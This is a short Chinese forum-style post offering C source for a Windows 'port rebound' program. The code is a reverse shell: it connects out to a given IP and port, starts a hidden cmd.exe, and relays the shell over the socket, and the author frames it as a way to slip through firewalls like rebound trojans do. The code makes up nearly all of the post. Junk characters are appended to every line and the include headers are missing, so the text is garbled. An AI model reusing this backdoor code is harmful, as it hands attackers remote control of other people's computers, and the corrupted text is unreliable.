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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 D,ly#Nn  
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/* ============================== !8tS|C#2  
Rebound port in Windows NT 6yAA~;*5'  
By wind,2006/7 P6U%=xaC  
===============================*/ 1f (DU4h  
#include ] q~<=   
#include GQ_Ia\  
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#pragma comment(lib,"wsock32.lib") jQj,q{eA  
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void OutputShell(); giavJ|  
SOCKET sClient; "zZI S6j  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 3,aN8F1;C  
y~<@x.  
void main(int argc,char **argv) dv N<5~  
{ ;9uRO*H?T  
WSADATA stWsaData; pz doqAVI  
int nRet; o!&W sD  
SOCKADDR_IN stSaiClient,stSaiServer; sP$Ks#/  
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if(argc != 3) >adV(V<  
{ Ov9 Q?8KzM  
printf("Useage:\n\rRebound DestIP DestPort\n"); hh.Q\qhubB  
return; B>TSdn={>  
} *9gD*AnM,  
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WSAStartup(MAKEWORD(2,2),&stWsaData); sY;lt.b  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g.Hio.fVd  
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stSaiClient.sin_family = AF_INET; -g`IH-B  
stSaiClient.sin_port = htons(0); J^3H7 ]  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); vH?9\3  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) (xyS7q]m  
{ {)K](S ~  
printf("Bind Socket Failed!\n"); FEm=w2  
return; =7ydk"xM*  
} 0-2"FdeQU  
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stSaiServer.sin_family = AF_INET; yFpySvj }  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); q^bO*bv  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); );}t&}  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) +2T! z=  
{  ,-rB=|w  
printf("Connect Error!"); ]HvZ$  
return; [6g O  
} h{]#ag5`  
OutputShell(); b1!@v+  
} O]nT>;PXX  
RIhOR8 )  
void OutputShell() Q;26V4  
{ E`@43Nz  
char szBuff[1024]; V_a)jJ  
SECURITY_ATTRIBUTES stSecurityAttributes; .RRlUWu  
OSVERSIONINFO stOsversionInfo; [!?wyv3  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; :):zNn_>`  
STARTUPINFO stStartupInfo; VO`"<  
char *szShell; t=dO  
PROCESS_INFORMATION stProcessInformation; 8sw,k   
unsigned long lBytesRead; HcJE0-"  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); wq72% e  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); n,KA&)/s  
stSecurityAttributes.lpSecurityDescriptor = 0; aR:<<IF\  
stSecurityAttributes.bInheritHandle = TRUE; LV.&>@*  
[b`6v`x  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); (K!4Kp^m  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ndOfbu;mf  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); w:Q|?30  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2a[9h #  
stStartupInfo.wShowWindow = SW_HIDE; AMk~dzNt  
stStartupInfo.hStdInput = hReadPipe; pT=2e&  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; xv0M  
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GetVersionEx(&stOsversionInfo); 6ojo##j  
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switch(stOsversionInfo.dwPlatformId) !Z/$}xxj  
{ "T*I|  
case 1: F!~l MpuE  
szShell = "command.com"; )vHi|~(   
break; V} bM!5 H  
default: R=35 7^[R  
szShell = "cmd.exe"; %N{sD[^  
break; 2X_>vIlEm  
} 37K U~9-A  
T}2:.Hk:N  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ; J2-rh  
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send(sClient,szMsg,77,0); eU~?p|Np  
while(1) 6_ ]8\n  
{ ^/{4'\p  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); aQh?}=da  
if(lBytesRead) l;5`0N?QO  
{ Uh\]?G[G  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); <bX 1,}?  
send(sClient,szBuff,lBytesRead,0); n2E4!L|q  
} 6z]`7`G   
else %O/d4  
{ 5&qY3@I7l  
lBytesRead=recv(sClient,szBuff,1024,0); 3M$X:$b  
if(lBytesRead<=0) break; X2P``YFV{  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 6UI>GQ  
} B"[{]GP BY  
} bm6hZA|  
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return; f+^c@0que  
}
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